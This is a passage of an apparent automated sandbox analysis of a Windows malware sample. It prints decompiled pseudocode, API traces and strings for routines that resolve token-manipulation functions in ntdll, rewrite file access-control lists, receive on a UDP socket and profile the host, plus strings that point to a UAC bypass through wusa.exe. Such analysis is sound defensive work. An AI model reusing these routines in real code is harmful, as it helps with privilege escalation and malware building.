																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtOpenProcessToken, xrefs: 004011D4
NtClose, xrefs: 004011B4
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
RtlLengthSid, xrefs: 00401246
RtlSetLastWin32Error, xrefs: 004010D6
NtQueryInformationToken, xrefs: 00401262
NtFilterToken, xrefs: 0040122B
ntdll.dll, xrefs: 0040100D
RtlInitUnicodeString, xrefs: 00401135
RtlNtStatusToDosError, xrefs: 00401194
NtSetInformationThread, xrefs: 00401155
RtlFreeSid, xrefs: 00401116
NtSetInformationToken, xrefs: 00401175
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtDuplicateToken, xrefs: 004011F3
NtTerminateProcess, xrefs: 004010F6

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Fri, xrefs: 0040B248
Aug, xrefs: 0040B287
Wed, xrefs: 0040B23A
Mar, xrefs: 0040B264
Apr, xrefs: 0040B26B
Jan, xrefs: 0040B256
Oct, xrefs: 0040B295
Sat, xrefs: 0040B24F
Jun, xrefs: 0040B279
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Mon, xrefs: 0040B22C
Nov, xrefs: 0040B29C
Jul, xrefs: 0040B280
Thu, xrefs: 0040B241
Feb, xrefs: 0040B25D
Sun, xrefs: 0040B225
Dec, xrefs: 0040B2A3
May, xrefs: 0040B272
Tue, xrefs: 0040B233
Sep, xrefs: 0040B28E

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,75144F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,75144F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p*t, xrefs: 00402CC7

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p*t
API String ID: 1639031587-2700130030
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

D, xrefs: 004015C6
, xrefs: 00401462
uac, xrefs: 00401628
<, xrefs: 00401378
%systemroot%\system32\cmd.exe, xrefs: 00401316
wusa.exe, xrefs: 00401388
@, xrefs: 00401380
useless, xrefs: 0040161E

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
